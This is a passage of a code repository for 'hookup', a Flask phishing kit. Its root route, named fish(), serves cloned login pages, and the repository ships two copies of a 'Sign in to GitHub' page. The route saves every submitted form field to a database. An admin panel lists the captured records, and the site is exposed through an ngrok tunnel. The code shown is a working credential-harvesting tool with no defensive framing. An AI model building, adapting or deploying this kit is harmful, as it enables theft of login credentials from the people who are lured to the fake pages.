| current_page = db.Column(db.Integer, default=0) 20 | pages = db.relationship('Page', backref="user", lazy=True) 21 | 22 | def save(self): 23 | db.session.add(self) 24 | db.session.commit() 25 | 26 | 27 | class Page(db.Model): 28 | __tablename__ = "page" 29 | 30 | id = db.Column(db.Integer, primary_key=True) 31 | name = db.Column(db.String(40), unique=True) 32 | source = db.Column(db.String) 33 | records = db.relationship("Record", backref="page", lazy=True) 34 | stock = db.Column(db.Boolean, default=False) 35 | person_id = db.Column(db.Integer, db.ForeignKey( 36 | 'user.id'), nullable=False) 37 | 38 | def get_source_content(self): 39 | source_path = os.path.join( 40 | app.config['UPLOAD_FOLDER'], self.source) 41 | with open(source_path, "r", encoding="utf-8") as file: 42 | return file.read() 43 | 44 | def __repr__(self): 45 | return self.name 46 | 47 | 48 | class Record(db.Model): 49 | __tablename__ = "record" 50 | 51 | id = db.Column(db.Integer, primary_key=True) 52 | _data = db.Column(db.String, default="No data") 53 | page_id = db.Column(db.Integer, db.ForeignKey( 54 | 'page.id'), nullable=False) 55 | created_date = db.Column(db.DateTime, default=datetime.datetime.utcnow) 56 | 57 | @property 58 | def data(self): 59 | return json.loads(self._data) 60 | 61 | @data.setter 62 | def data(self, val): 63 | self._data = json.dumps(val) 64 | -------------------------------------------------------------------------------- /hookup/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 12 | 22 | Hook-up Login 23 | 24 | 25 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | Login 36 |
37 |
38 |
39 | 45 | 48 |
49 |
50 |
51 |
52 | 58 | 59 |
60 |
61 |
62 | 63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /hookup/uploads/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/uploads/.keep -------------------------------------------------------------------------------- /hookup/uploads/github.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | Sign in to GitHub · GitHub 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 |
131 | Skip to content 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 148 | 149 | 150 |
151 | 152 |
153 | 154 | 155 | 156 | 157 |
158 |
159 | 160 | 161 |
162 | 163 |
164 |
165 |

Sign in to GitHub

166 |
167 | 168 | 169 |
170 | 171 |
172 | 173 | 174 |
175 | 176 | 179 | 180 | 181 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 |
194 |
195 | 196 | 200 |
201 | 202 |
203 |
204 | 205 | 213 | 214 | 215 | 216 |
217 | 218 | 221 | You can’t perform that action at this time. 222 |
223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 238 | 249 | 250 | 254 | 255 |
256 | 257 | 258 | 259 | 260 | -------------------------------------------------------------------------------- /hookup/uploads/github_2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | Sign in to GitHub · GitHub 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 |
131 | Skip to content 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 148 | 149 | 150 |
151 | 152 |
153 | 154 | 155 | 156 | 157 |
158 |
159 | 160 | 161 |
162 | 163 |
164 |
165 |

Sign in to GitHub

166 |
167 | 168 | 169 |
170 | 171 |
172 | 173 | 174 |
175 | 176 | 179 | 180 | 181 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 |
194 |
195 | 196 | 200 |
201 | 202 |
203 |
204 | 205 | 213 | 214 | 215 | 216 |
217 | 218 | 221 | You can’t perform that action at this time. 222 |
223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 238 | 249 | 250 | 254 | 255 |
256 | 257 | 258 | 259 | 260 | -------------------------------------------------------------------------------- /hookup/utils.py: -------------------------------------------------------------------------------- 1 | import pathlib 2 | 3 | PROJECT_DIR = pathlib.Path(__file__).parent -------------------------------------------------------------------------------- /hookup/views.py: -------------------------------------------------------------------------------- 1 | from flask import jsonify, request, session, redirect, render_template 2 | from flask_login import login_required, login_user, current_user, logout_user 3 | from sqlalchemy.exc import IntegrityError 4 | from hookup import app, db, PROJECT_DIR, __version__, __version_client__ 5 | from functools import wraps 6 | import json 7 | import git 8 | 9 | from hookup.flask_ngrok import get_tunnel_url 10 | from hookup.models import User, Page, Record 11 | 12 | 13 | def auth_api(f): 14 | @wraps(f) 15 | def decorated_function(*args, **kwargs): 16 | print(current_user.is_authenticated) 17 | if current_user.is_authenticated: 18 | return f(*args, **kwargs) 19 | else: 20 | return jsonify({'msg': 'Not authenticated'}) 21 | 22 | return decorated_function 23 | 24 | 25 | @app.route("/", methods=["GET", "POST"]) 26 | def fish(): 27 | user = User.query.first() 28 | current_page = user.pages[user.current_page] 29 | if request.method == "POST": 30 | r = Record() 31 | r.data = request.form 32 | current_page.records.append(r) 33 | user.save() 34 | return jsonify("thank you!") 35 | 36 | current_page = user.pages[user.current_page] 37 | 38 | return current_page.get_source_content() 39 | 40 | 41 | @app.route("/adminlogin", methods=["GET", "POST"]) 42 | def login(): 43 | if request.method == "POST": 44 | user = User.query.first() 45 | if user and user.password == request.form.get('password') and user.username == request.form.get("username"): 46 | login_user(user) 47 | return redirect("adminpage") 48 | return render_template("login.html") 49 | 50 | 51 | @app.route('/adminpage', defaults={'path': ''}) 52 | @login_required 53 | def main(path): 54 | return render_template("index.html") 55 | 56 | 57 | @app.route("/adminlogout") 58 | def logout(): 59 | logout_user() 60 | return redirect("/adminlogin") 61 | 62 | 63 | @app.route("/api/get_ngrok_url") 64 | def get_ngrok_url(): 65 | return jsonify(get_tunnel_url()) 66 | 67 | 68 | @app.route("/api/page/new", methods=["POST"]) 69 | def new_page(): 70 | if 'page' in request.files: 71 | page = Page(name=request.form['pageTitle'], 72 | source=f"{request.form['pageTitle']}.html") 73 | user = User.query.first() 74 | user.pages.append(page) 75 | try: 76 | user.save() 77 | file = request.files['page'] 78 | file.save(str(app.config['UPLOAD_FOLDER'] / 79 | f"{request.form['pageTitle']}.html")) 80 | except IntegrityError as ex: 81 | return jsonify(f"{request.form['pageTitle']} already exists"), 500 82 | else: 83 | return jsonify(f"Missing soruce code"), 500 84 | 85 | return jsonify(f"{request.form['pageTitle']} successfully deleted"), 200 86 | 87 | 88 | @app.route("/api/page/delete", methods=["POST"]) 89 | def delete_page(): 90 | user = User.query.first() 91 | page_name = request.json.get('pageName') 92 | source_file = app.config['UPLOAD_FOLDER'] / f"{page_name}.html" 93 | page = Page.query.filter_by(name=page_name).one() 94 | if len(user.pages) == user.current_page + 1: 95 | user.current_page -= 1 96 | db.session.delete(page) 97 | db.session.commit() 98 | source_file.unlink() # delete old page 99 | 100 | return jsonify(f"{page_name} successfully deleted"), 200 101 | 102 | 103 | @app.route("/api/page/get_current") 104 | def get_current_page(): 105 | user = User.query.first() 106 | if len(user.pages) == 0: 107 | return jsonify({}) 108 | current_page = user.pages[user.current_page] 109 | return jsonify({ 110 | "name": current_page.name, 111 | "source": current_page.get_source_content() 112 | }), 200 113 | 114 | 115 | @app.route("/api/page/set_current", methods=["POST"]) 116 | def set_current_page(): 117 | user = User.query.first() 118 | user.current_page = [i.name for i in user.pages].index( 119 | request.json['currentPage']) 120 | user.save() 121 | current_page = user.pages[user.current_page] 122 | return jsonify({ 123 | "name": current_page.name, 124 | "source": current_page.get_source_content(), 125 | "msg": f"{current_page.name} is now current page!" 126 | }), 200 127 | 128 | 129 | @app.route("/api/pages") 130 | def list_pages(): 131 | user = User.query.first() 132 | if len(user.pages) == 0: 133 | return jsonify([]) 134 | pages = list() 135 | for page in user.pages: 136 | pages.append({ 137 | "name": page.name, 138 | "source": page.get_source_content(), 139 | "stock": page.stock 140 | }) 141 | current_page = user.pages[user.current_page] 142 | return jsonify(pages), 200 143 | 144 | 145 | @app.route("/api/record/by_page") 146 | def records_all(): 147 | user = User.query.first() 148 | r_data = list() 149 | for page in user.pages: 150 | record_list = [rec.data for rec in page.records] 151 | r_data.append({ 152 | "name": page.name, 153 | "records": record_list 154 | }) 155 | return jsonify(r_data) 156 | 157 | 158 | @app.route("/api/record/list") 159 | def record_list(): 160 | records = Record.query.order_by(Record.created_date.desc()).all() 161 | r_data = [] 162 | for record in records: 163 | r_data.append({ 164 | "pageName": record.page.name, 165 | "data": record.data, 166 | "date": record.created_date.strftime("%H.%M.%S - %d/%m/%Y") 167 | }) 168 | 169 | return jsonify(r_data) 170 | 171 | @app.route("/api/about") 172 | def about(): 173 | repo = git.Repo(str(PROJECT_DIR.parent)) 174 | return jsonify({ 175 | "server_v": __version__, 176 | "client_v": __version_client__, 177 | "commit": str(repo.head.commit) 178 | }) 179 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aniso8601==8.0.0 2 | certifi==2019.11.28 3 | chardet==3.0.4 4 | Click==7.0 5 | Flask==1.1.1 6 | Flask-Cors==3.0.8 7 | Flask-Login==0.4.1 8 | Flask-RESTful==0.3.7 9 | Flask-SQLAlchemy==2.4.1 10 | gitdb2==2.0.6 11 | GitPython==3.0.5 12 | idna==2.8 13 | itsdangerous==1.1.0 14 | Jinja2==2.11.1 15 | MarkupSafe==1.1.1 16 | pytz==2019.3 17 | requests==2.22.0 18 | six==1.14.0 19 | smmap2==2.0.5 20 | SQLAlchemy==1.3.13 21 | urllib3==1.25.8 22 | Werkzeug==0.16.1 23 | -------------------------------------------------------------------------------- /run.py: -------------------------------------------------------------------------------- 1 | from hookup import start_server, db, cli 2 | 3 | if __name__ == '__main__': 4 | db.create_all() 5 | cli.main() 6 | start_server() 7 | --------------------------------------------------------------------------------